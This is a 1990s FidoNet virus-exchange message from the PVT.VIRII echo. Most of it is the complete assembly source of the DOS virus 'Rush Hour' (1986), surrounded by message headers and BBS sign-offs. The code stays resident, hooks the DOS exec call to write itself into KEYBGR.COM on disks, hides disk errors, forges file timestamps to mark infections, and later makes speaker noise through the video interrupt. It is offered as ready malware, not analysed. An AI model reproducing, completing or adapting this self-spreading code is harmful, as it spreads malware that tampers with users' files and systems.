2022-08-21 09:07:57 +00:00
|
|
|
|
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
|
|
|
|
|
; Msg : 27 of 54
|
|
|
|
|
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:13
|
|
|
|
|
; To : - *.* - Fri 11 Nov 94 08:10
|
|
|
|
|
; Subj : RUSHHOUR.DSM
|
|
|
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
;.RealName: Max Ivanov
|
|
|
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
;* Kicked-up by MeteO (2:5030/136)
|
|
|
|
|
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
|
|
|
|
|
;* From : Dr T , 2:283/718 (06 Nov 94 16:49)
|
|
|
|
|
;* To : Clif Jessop
|
|
|
|
|
;* Subj : RUSHHOUR.DSM
|
|
|
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
;@RFC-Path:
|
|
|
|
|
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
|
|
|
|
;18.n283!not-for-mail
|
|
|
|
|
;@RFC-Return-Receipt-To: Dr.T.@f718.n283.z2.fidonet.org
|
|
|
|
|
PAGE 72,132
|
|
|
|
|
TITLE Virus "RUSH HOUR" V1.0 (p) Foxi, 1986
|
|
|
|
|
NAME VIRUS
|
|
|
|
|
|
|
|
|
|
ABS0 SEGMENT AT 0
|
|
|
|
|
ORG 4*10h
|
|
|
|
|
VIDEO_INT DW 2 DUP (?) ; Video Interrupt
|
|
|
|
|
|
|
|
|
|
ORG 4*21h
|
|
|
|
|
DOS_INT DW 2 DUP (?) ; DOS Interrupt
|
|
|
|
|
|
|
|
|
|
ORG 4*24h
|
|
|
|
|
ERROR_INT DW 2 DUP (?) ; ERROR Interrupt
|
|
|
|
|
ABS0 ENDS
|
|
|
|
|
|
|
|
|
|
code SEGMENT
|
|
|
|
|
assume cs:code, ds:code, es:code
|
|
|
|
|
|
|
|
|
|
ORG 05Ch
|
|
|
|
|
FCB LABEL BYTE
|
|
|
|
|
DRIVE DB ?
|
|
|
|
|
FSPEC DB 11 DUP (' ') ; Filename
|
|
|
|
|
ORG 6Ch
|
|
|
|
|
FSIZE DW 2 DUP (?)
|
|
|
|
|
FDATE DW ? ; date of last modifcation
|
|
|
|
|
|
|
|
|
|
FTIME DW ? ; time of last mod
|
|
|
|
|
ORG 80h
|
|
|
|
|
DTA DW 128 DUP (?) ; Disk Transfer Area (DTA)
|
|
|
|
|
ORG 071Eh ; END OF THE NORMAL KEYBGR.COM
|
|
|
|
|
|
|
|
|
|
xor ax, ax
|
|
|
|
|
mov es, ax ; ES points to ABS0
|
|
|
|
|
assume es:ABS0
|
|
|
|
|
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
|
|
|
|
|
mov ax, VIDEO_INT ; store old interrupt vectors
|
|
|
|
|
mov bx, VIDEO_INT+2
|
|
|
|
|
mov word ptr VIDEO_VECTOR, ax
|
|
|
|
|
mov word ptr VIDEO_VECTOR+2, bx
|
|
|
|
|
mov ax, DOS_INT
|
|
|
|
|
mov bx, DOS_INT+2
|
|
|
|
|
mov word ptr DOS_VECTOR, ax
|
|
|
|
|
mov word ptr DOS_VECTOR+2, bx
|
|
|
|
|
cli
|
|
|
|
|
mov DOS_INT, OFFSET VIRUS ; new DOS vector points to VIRUS
|
|
|
|
|
|
|
|
|
|
mov DOS_INT+2, cs
|
|
|
|
|
mov VIDEO_INT, OFFSET DISEASE ; video vector points to DISEASE
|
|
|
|
|
mov VIDEO_INT+2, cs
|
|
|
|
|
sti
|
|
|
|
|
|
|
|
|
|
mov ah, 0 ; Get system time
|
|
|
|
|
int 1Ah ; read TimeOfDay (TOD)
|
|
|
|
|
mov TIME_0, dx ; CX:DX = number of clock ticks since midnight
|
|
|
|
|
|
|
|
|
|
lea dx, VIRUS_ENDE
|
|
|
|
|
int 27h ; terminate program & remain resident (TSR)
|
|
|
|
|
|
|
|
|
|
VIDEO_VECTOR DD (?)
|
|
|
|
|
DOS_VECTOR DD (?)
|
|
|
|
|
ERROR_VECTOR DW 2 DUP (?)
|
|
|
|
|
TIME_0 DW ?
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; VIRUS main program
|
|
|
|
|
;
|
|
|
|
|
; 1. System call AH=4BH?
|
|
|
|
|
; No: --> 2
|
|
|
|
|
; Yes: Test for KEYBGR.COM on specified drive
|
|
|
|
|
; Already infected?
|
|
|
|
|
; Yes :--> 3.
|
|
|
|
|
; No : Infection!
|
|
|
|
|
;
|
|
|
|
|
; 2. Jump to normal DOS
|
|
|
|
|
|
|
|
|
|
RNDVAL DB 'bfhg'
|
|
|
|
|
ACTIVE DB 0 ; not active
|
|
|
|
|
PRESET DB 0 ; first virus not active
|
|
|
|
|
|
|
|
|
|
DB 'A:'
|
|
|
|
|
FNAME DB 'KEYBGR COM'
|
|
|
|
|
DB 0
|
|
|
|
|
|
|
|
|
|
VIRUS PROC FAR
|
|
|
|
|
assume cs:code, ds:nothing, es:nothing
|
|
|
|
|
|
|
|
|
|
push ax
|
|
|
|
|
push cx
|
|
|
|
|
push dx
|
|
|
|
|
|
|
|
|
|
mov ah, 0 ; check if at least 15 minutes
|
|
|
|
|
int 1ah ; have elapsed since installation.
|
|
|
|
|
|
|
|
|
|
sub dx, TIME_0
|
|
|
|
|
cmp dx, 16384 ; 16384 ticks on the clock=15 minutes
|
|
|
|
|
jl $3
|
|
|
|
|
mov ACTIVE, 1 ; if so, activate virus
|
|
|
|
|
|
|
|
|
|
$3: pop dx
|
|
|
|
|
pop cx
|
|
|
|
|
pop ax
|
|
|
|
|
|
|
|
|
|
; disk access because of the DOS command
|
|
|
|
|
; "Load & execute program" ?
|
|
|
|
|
cmp ax, 4B00h
|
|
|
|
|
je $1
|
|
|
|
|
|
|
|
|
|
EXIT_1:
|
|
|
|
|
jmp DOS_VECTOR ; No: --> continue as normal
|
|
|
|
|
|
|
|
|
|
$1: push es ; ES:BX --> parameter block
|
|
|
|
|
push bx ; DS:DX --> filename
|
|
|
|
|
push ds ; save registers which will be needed
|
|
|
|
|
push dx ; for INT 21H (AH=4Bh)
|
|
|
|
|
|
|
|
|
|
mov DI, dx
|
|
|
|
|
mov DRIVE, 0 ; set the drive of the program
|
|
|
|
|
mov al, ds:[DI+1] ; to be executed
|
|
|
|
|
cmp al, ':'
|
|
|
|
|
jne $5
|
|
|
|
|
|
|
|
|
|
mov al, ds:[DI]
|
|
|
|
|
sub al, 'A'-1
|
|
|
|
|
mov DRIVE, al
|
|
|
|
|
|
|
|
|
|
$5: cld
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
xor ax, ax
|
|
|
|
|
mov es, ax
|
|
|
|
|
assume ds:code, es:ABS0
|
|
|
|
|
|
|
|
|
|
mov ax, ERROR_INT ; ignore all disk "errors"
|
|
|
|
|
mov bx, ERROR_INT+2 ; with our own error routine
|
|
|
|
|
mov ERROR_VECTOR, ax
|
|
|
|
|
mov ERROR_VECTOR+2, bx
|
|
|
|
|
mov ERROR_INT, OFFSET ERROR
|
|
|
|
|
mov ERROR_INT+2, cs
|
|
|
|
|
|
|
|
|
|
push cs
|
|
|
|
|
pop es
|
|
|
|
|
assume es:code
|
|
|
|
|
|
|
|
|
|
lea dx, DTA ; DS:DX -> Disk Transfer Area (DTA)
|
|
|
|
|
mov ah, 1Ah ; SET DISK TRANSFER AREA ADDRESS
|
|
|
|
|
int 21h
|
|
|
|
|
mov bx, 11 ; transfer the filename
|
|
|
|
|
|
|
|
|
|
$2:
|
|
|
|
|
mov al, fname-1[bx] ; into File Control Block (FCB)
|
|
|
|
|
mov FSPEC-1[bx], al
|
|
|
|
|
DEC bx
|
|
|
|
|
JNZ $2
|
|
|
|
|
|
|
|
|
|
lea dx, FCB ; open file (for writing)
|
|
|
|
|
mov ah, 0FH
|
|
|
|
|
int 21H
|
|
|
|
|
|
|
|
|
|
cmp al, 0
|
|
|
|
|
jne EXIT_0 ; file does not exist --> end
|
|
|
|
|
|
|
|
|
|
mov BYTE PTR FCB + 20h, 0
|
|
|
|
|
mov ax, FTIME ; file already infected?
|
|
|
|
|
cmp ax, 4800h
|
|
|
|
|
je EXIT_0 ; YES --> END
|
|
|
|
|
|
|
|
|
|
mov PRESET, 1 ; (All copies are virulent !)
|
|
|
|
|
mov SI, 100H ; write the virus in the file
|
|
|
|
|
|
|
|
|
|
$4:
|
|
|
|
|
lea DI, DTA
|
|
|
|
|
mov cx, 128
|
|
|
|
|
REP MOVSB
|
|
|
|
|
lea dx, FCB ; DS:DX -> opened FCB
|
|
|
|
|
mov ah, 15h ; SEQUENTIAL WRITE TO FCB FILE
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
cmp SI, OFFSET VIRUS_ENDE
|
|
|
|
|
jl $4
|
|
|
|
|
|
|
|
|
|
mov FSIZE, OFFSET VIRUS_ENDE - 100H
|
|
|
|
|
mov FSIZE+2, 0 ; set correct file size
|
|
|
|
|
mov FDATE, 0AA3h ; set correct date (3-5-86)
|
|
|
|
|
mov FTIME, 4800h ; set time (09:00:00)
|
|
|
|
|
|
|
|
|
|
lea dx, FCB ; close file
|
|
|
|
|
mov ah, 10h
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
xor ax, ax
|
|
|
|
|
mov es, ax
|
|
|
|
|
assume es:ABS0
|
|
|
|
|
|
|
|
|
|
mov ax, ERROR_VECTOR ; reset the error interrupt
|
|
|
|
|
mov bx, ERROR_VECTOR+2
|
|
|
|
|
mov ERROR_INT, ax
|
|
|
|
|
mov ERROR_INT+2, bx
|
|
|
|
|
|
|
|
|
|
EXIT_0:
|
|
|
|
|
pop dx ; restore the saved registers
|
|
|
|
|
pop ds
|
|
|
|
|
pop bx
|
|
|
|
|
pop es
|
|
|
|
|
assume ds:nothing, es:nothing
|
|
|
|
|
|
|
|
|
|
mov ax, 4B00h ; "EXEC" - LOAD AND EXECUTE PROGRAM
|
|
|
|
|
jmp DOS_VECTOR ; normal function execution
|
|
|
|
|
|
|
|
|
|
VIRUS ENDP
|
|
|
|
|
|
|
|
|
|
ERROR PROC FAR
|
|
|
|
|
IRET ; simply ignore all errors...
|
|
|
|
|
|
|
|
|
|
ERROR ENDP
|
|
|
|
|
|
|
|
|
|
DISEASE PROC FAR
|
|
|
|
|
assume ds:nothing, es:nothing
|
|
|
|
|
push ax ; Save registers
|
|
|
|
|
push cx
|
|
|
|
|
|
|
|
|
|
test PRESET, 1
|
|
|
|
|
jz EXIT_2
|
|
|
|
|
|
|
|
|
|
test ACTIVE, 1
|
|
|
|
|
jz EXIT_2
|
|
|
|
|
|
|
|
|
|
IN al, 61h ; Enable speak (Bit 0 := 0)
|
|
|
|
|
AND al, 0feh
|
|
|
|
|
OUT 61h, al
|
|
|
|
|
|
|
|
|
|
mov cx, 3 ; index loop cx
|
|
|
|
|
NOISE: ; generate Noise
|
|
|
|
|
mov al, RNDVAL
|
|
|
|
|
xor al, RNDVAL + 3
|
|
|
|
|
SHL al, 1
|
|
|
|
|
SHL al, 1
|
|
|
|
|
RCL WORD PTR RNDVAL, 1
|
|
|
|
|
RCL WORD PTR RNDVAL+2, 1
|
|
|
|
|
|
|
|
|
|
mov ah, RNDVAL ; output some bit
|
|
|
|
|
and ah, 2 ; of the feedback
|
|
|
|
|
IN al, 61h ; shift register
|
|
|
|
|
and al, 0FDh ; --> noise from speaker
|
|
|
|
|
OR al, ah
|
|
|
|
|
OUT 61H, al
|
|
|
|
|
|
|
|
|
|
LOOP NOISE
|
|
|
|
|
|
|
|
|
|
and al, 0FCh ; turn speaker off
|
|
|
|
|
OR al,1
|
|
|
|
|
OUT 61H, al
|
|
|
|
|
|
|
|
|
|
EXIT_2:
|
|
|
|
|
pop cx
|
|
|
|
|
pop ax
|
|
|
|
|
jmp VIDEO_VECTOR ; jump to normal VIDEO routine ...
|
|
|
|
|
|
|
|
|
|
DISEASE ENDP
|
|
|
|
|
|
|
|
|
|
DB 'This program is a VIRUS program.'
|
|
|
|
|
DB 'Once activated it has control over all'
|
|
|
|
|
DB 'system devices and even over all storage'
|
|
|
|
|
DB 'media inserted by the user. It continually'
|
|
|
|
|
DB 'copies itself into uninfected operating'
|
|
|
|
|
DB 'systems and thus spreads uncontrolled.'
|
|
|
|
|
|
|
|
|
|
DB 'The fact that the virus does not destroy any'
|
|
|
|
|
DB 'user programs or erase the disk is merely due'
|
|
|
|
|
DB 'to a philanthropic trait of the author......'
|
|
|
|
|
|
|
|
|
|
ORG 1C2Ah
|
|
|
|
|
|
|
|
|
|
VIRUS_ENDE LABEL BYTE
|
|
|
|
|
|
|
|
|
|
code ends
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
;-+- Concord/QWK O.O1 Beta-7
|
|
|
|
|
; + Origin: FidoNet * Mathieu Not<6F>ris * Brussels-Belgium-Europe (2:283/718)
|
|
|
|
|
;=============================================================================
|
|
|
|
|
;
|
|
|
|
|
;Yoo-hooo-oo, -!
|
|
|
|
|
;
|
|
|
|
|
;
|
|
|
|
|
; <20> The Me<4D>eO
|
|
|
|
|
;
|
|
|
|
|
;/os,/o,/op,/oiObject code: standard, standard w/overlays, Phar Lap, or IBM
|
|
|
|
|
;
|
|
|
|
|
;--- Aidstest Null: /Kill
|
|
|
|
|
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
|
|
|
|
|
|